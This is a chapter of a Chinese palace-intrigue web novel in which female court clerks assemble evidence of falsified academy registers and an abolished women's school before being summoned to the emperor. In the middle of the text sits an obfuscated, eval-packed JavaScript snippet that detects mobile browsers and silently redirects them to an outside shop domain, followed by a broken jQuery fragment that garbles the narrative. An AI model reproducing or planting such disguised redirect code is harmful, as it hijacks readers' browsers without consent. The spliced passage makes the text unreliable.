文趣网 > 其他小说 > 满朝文武都在等我发卷 > 8. 第 8 章
    苏纾第二日醒来时,眼睛又青了一圈。

    她坐在铜镜前,看着镜中那张脸,熟练地拿起妆粉往眼下压。

    昨夜女官署灯熄得晚,她翻那几册京畿学馆旧档翻到半夜。女学旧例断得蹊跷,学馆名册假得敷衍,修缮账更是一看就不干净。

    她本来只是想找条能出宫的路,结果路没找着,还把别的什么东西带出来了。

    苏纾抹完粉,又看了看自己。

    还是困。

    她把口脂盒一合,起身去了正堂。

    正堂里已经有人到了。

    谢含章坐在案边,面前摊着昨夜那几册旧档,旁边另放着一叠纸,她低头誊写折。

    卢轻蘅捧着热水进来,看见苏纾,先看她的脸。

    “你又没睡好?”

    苏纾坐下:“我睡得很好。”

    卢轻蘅盯着她眼下:“那你这粉怎么比昨天厚?”

    苏纾端起茶盏:“哪有,我这是天生丽质。”

    谢含章冷笑一声。

    苏纾看向她。

    谢含章头也不抬:“丽质到半夜翻旧档,女官署这几年也就出了你一个。”

    苏纾把茶盏放下:“谢校书来得这么早,是为了夸我?”

    卢轻蘅立刻把茶盏放到两人中间:“都喝水,都喝水。”

    苏纾没再接话,伸手去拿女学旧例。

    谢含章却先一步按住了册子。

    苏纾抬眼。

    谢含章看着她:“你还真要查?”

    苏纾道:“昨日不是已经摘出来了?”

    “摘出来是一回事,查下去是另一回事。”谢含章声音冷淡,“女官署旧档里压了这么多年,你以为你第一个看见?”

    苏纾的手停在册页边缘。

    卢轻蘅脸色一变:“含章。”

    谢含章没看卢轻蘅,只盯着苏纾:“女学旧例废止无明文,京畿学馆名册有假,修缮账年年漏雨。你昨日看一眼就觉得不对,便以为从前没人看出来?”

    正堂里其他小女官都放轻了动作。

    苏纾把手慢慢收回来:“你以前查过?”

    谢含章没答。

    卢轻蘅看了看她,又看了看苏纾,小声道:“三年前,含章递过一份摘录。”

    苏纾看向她。

    卢轻蘅声音更低:“就是女学旧例那一份。她查到废止无明文,还查到当年几名女学生后来被各家接回去待嫁。她把摘录递给礼部,礼部退回来了。”

    苏纾问:“怎么退的?”

    卢轻蘅看了看谢含章的脸色没敢说。

    谢含章替她答:“礼部说,女官署只掌典册,不涉学政。”

    她的声音比方才更冷:“后来呢?后来这册子照旧封回箱里。女官署照旧清旧书,礼部照旧管学政,国子监照旧考他们的监生。”

    卢轻蘅轻声道:“含章那次还被记了一笔,说她越职陈事。”

    谢含章道:“这些不用你替我说。”

    卢轻蘅闭了嘴。

    苏纾低头看着案上的女学旧例。上面写着女学生的名字,后头还有考课评语。有几个名字旁边的字已经糊了,只能看出“算学优”“簿记明晰”之类的旧评。

    谢含章忽然道:“你现在倒想查了?”

    苏纾看她。

    谢含章盯着她,语气不善:“从前签交接簿的时候,你不是走得很痛快吗?”

    卢轻蘅倒吸一口气。

    苏纾知道,这句话说的是原身,她那时候还没有穿过来。

    可她现在坐在这里,用着这具身体,拿着原身的女官身份,享着原身留下的旧档。原身要辞官归家待嫁,这笔账旁人不会分清,也没法分清。

    谢含章继续道:“你是江陵苏氏女,有先帝赐婚。你来女官署三年,写得一手好字,校得一手好书。裴掌事也看重你。可你呢?交接簿一签,钥牌一放,回家待嫁。”

    她的声音低下去:“你知道有多少人进不了女官署吗?”

    正堂鸦雀无声。

    谢含章看着她:“有些人想读书,读不起。想入署,没名额。好不容易进来了,还要听礼部说一句,女官署只掌典册,不涉学政。”

    她把那册女学旧例往苏纾面前一推。

    “苏校书,你从前有位置,有才学,有人护着。你不想要,当然能不要。”

    苏纾看着那册子。

    卢轻蘅轻轻推了推她:“含章,别说了。”

    谢含章道:“为什么不说?她那日一句‘王府说不急,苏家急什么’,说得多痛快。可若王府说急呢?若镇北王亲自来接呢?她是不是又把这些册子一放,走得干干净净?”

    苏纾沉默着把那册女学旧例重新翻开。

    谢含章看着她:“你装没听见?”

    苏纾道:“听见了。”

    “那你不解释?”

    苏纾翻到女学旧例断掉的那一页,“从前我怎么想,我现在未必说得清。”

    谢含章冷冷看着她。

    苏纾抬头:“从前的苏纾要辞官归家,这事确实对不起女官署。”

    卢轻蘅愣住,谢含章的眼神也变了。

    苏纾把册子放平:“但现在这册子在我手里,我不能当没看见。”

    她继续道:“你三年前递过摘录,礼部打回来了。那份摘录还在吗?在的话,拿出来。”

    谢含章没有动。

    苏纾也没催,只看着她:“礼部上次能用‘女官署不涉学政’打回来,这次未必还能用同一句。”

    谢含章问:“为什么?”

    苏纾道:“因为这次不是只有女学旧例。”

    她把京畿学馆名册、修缮账、寒门名额册一册一册摊开。

    “三年名册异常,是学政旧档。”

    “修缮银连支三年,是账目问题。”

    “寒门名额空缺、世族旁支增补,是进学名额问题。”

    “女学旧例无明文废止,是旧制问题。”

    苏纾抬眼:“一件事可以被退。四件事连在一起,就不一定是女官署多事了。

    谢含章却仍然冷着脸:“说得容易。礼部若再退呢?”

    “那就再递。”

    “再退呢?”

    “那我就送到宣政殿,送去陛下面前。”

    正堂里安静下来。

    谢含章盯着苏纾许久,忽然起身,转身去了自己的案边。

    过了一会儿,谢含章从案下取出一只旧木匣。

    木匣上落了薄灰,锁扣已经旧了。她打开后,从里面抽出一叠纸。

    纸页保存得很好,边缘却有几处折痕,像是曾经被人反复打开,又反复压回去。

    “这是三年前那份摘录。”谢含章把那叠纸放到苏纾面前。

    苏纾翻开。里面列着女学设立旧旨、学生名册、废止前后的调令,还有几名女学生被各家接回后的婚配记录。每一条后头都有出处,每一页都做了标注。

    苏纾翻到最后,看到礼部退回的批语。

    谢含章道:“看完了?”

    苏纾合上摘录:“写得很好。”

    谢含章像是没料到她会这么说,眉头皱了皱。

    苏纾道:“比我昨日做得细。”

    谢含章冷声:“你不必奉承我。陛下问学政,也未必是为了女学。”

    卢轻蘅劝道:“可问了就是好事啊。”

    谢含章没说话。

    裴掌事进门时,三人都站了起来。

    她看了一眼案上的旧摘录,又看了一眼谢含章。

    “拿出来了?”

    谢含章低头:“是。”

    裴掌事没有多问,只走到案前,把那份旧摘录翻了一遍。

    苏纾这才意识到,裴掌事早就知道。

    裴掌事看完后,把摘录合上:“既然拿出来了,就重新誊一份。”

    谢含章应声:“是。”

    裴掌事又道:“苏纾,你把昨日查出的四项旧档,与谢含章这份女学旧制考合并成一份。”

    苏纾点头:“是。”

    卢轻蘅立刻举手:“掌事,我呢?”

    裴掌事看她:“你负责把京畿学馆三年名册重新核一遍。名字、籍贯、年龄、考课,全列出来。”

    这一整日,女官署正堂都没有闲下来。

    谢含章誊旧摘录,苏纾合并条目,卢轻蘅核名册,裴掌事亲自看每一页出处

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608157|205800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。几个小女官被调来搬旧档,进进出出,连茶都换了三轮。

    到午后,礼部的人来了。

    “裴掌事,礼部奉旨来取女官署旧学摘录。”

    裴掌事把封好的文书递过去。

    礼部主事接过,看见封面上“女学旧制考”几个字,眉头微微一跳。

    “这也是今日所报?”

    裴掌事道:“三年前旧摘录,今日复核,仍无废止明文。”

    礼部主事迟疑:“此事……”

    谢含章忽然开口:“三年前礼部批过,女官署不涉学政,毋庸再议。”

    礼部主事脸色一僵。

    苏纾把另一份名册推上前:“所以今日一并附上京畿学馆名册、修缮账、寒门入学旧额。若礼部仍认为毋庸再议,也请照旧批回,女官署照例留档。”

    礼部主事最终没说退回的事,只把文书收好:“下官会呈尚书。”

    裴掌事道:“有劳。”

    礼部主事一走,大家立刻长出一口气。

    傍晚时分,宣政殿那边终于有了动静。

    内侍来女官署传话,裴掌事起身接旨。

    内侍展开明文道:

    “陛下问,女官署所呈京畿学馆旧档,是否皆有出处?”

    裴掌事答:“皆有出处。”

    内侍又问:“女学旧制考,何人所作?”

    谢含章站出来:“回陛下,臣三年前所作,今日复核。”

    内侍看了她一眼,继续念:“陛下命,女官署将女学旧制考、京畿学馆名册、修缮账、寒门入学旧额,皆另封一份,明日送宣政殿。”

    内侍继续道:“另,苏校书既熟旧学典册,明日随裴掌事入宣政殿回话。”

    裴掌事接下明文,送走内侍后,她把明文放到案上:“明日不是儿戏。礼部、国子监都可能在。你们今日整理出来的每一处,都要有出处。苏纾。”

    苏纾站起来:“在。”

    “你发现的问题,你自己说清楚。”

    苏纾点头:“是。”

    裴掌事又看向谢含章:“你三年前那份摘录,明日也要备问。”

    谢含章道:“是。”

    卢轻蘅赶紧问:“那我呢?”

    裴掌事道:“你把名册核对完,若明日问到具体处,你答。”

    这一晚,女官署灯火通明,苏纾回直舍时,手腕酸得几乎抬不起来。她洗漱完,坐在床边,还是把白日整理出的条目又过了一遍。

    谢含章三年前递过摘录,被礼部退回。这些东西单独看,都能被压下去。可现在被放在一起,再由皇帝亲自问,就不一样了。

    苏纾把纸页叠好放在桌上。

    她吹熄灯,躺下没多久,又睁开眼。

    不对,她原本只是想出宫。

    现在事情怎么越来越像她要去查大昭的教务系统?

    她翻了个身,把被子拉到下巴。

    第二日天未亮,女官署便忙成一团。

    裴掌事从里间出来,身后跟着两个小女官,手里各捧着一匣旧档。

    “走吧。”

    女官署众人行礼应是。

    到了宣政殿外,那里已经站了不少官员。

    礼部的,国子监的,还有几位她不认识的朝臣。

    有人看见女官署一行,低声议论起来。

    殿门开了。

    内侍站在阶上,高声道:“传女官署入殿。”

    苏纾抱着旧档,跟着裴掌事进去。

    御案后,秦临抬眼看向她。

    礼部尚书站在一侧,国子监祭酒站在另一侧,满殿目光都落到女官署几人身上。

    苏纾停在殿中,低头行礼。

    “臣苏纾,奉旨回话。”

    秦临看了她片刻,目光落到她怀里的旧档上。

    “苏校书。”

    苏纾应声:“臣在。”

    秦临把昨日那份摘录放到御案前。

    “你说,京畿学馆三年名册有假。”

    殿中数道视线立刻压过来。

    苏纾站直了些,“回陛下,不是臣说有假。”

    她抬眼,看向周围一众大臣:“是旧档里有人做了假。”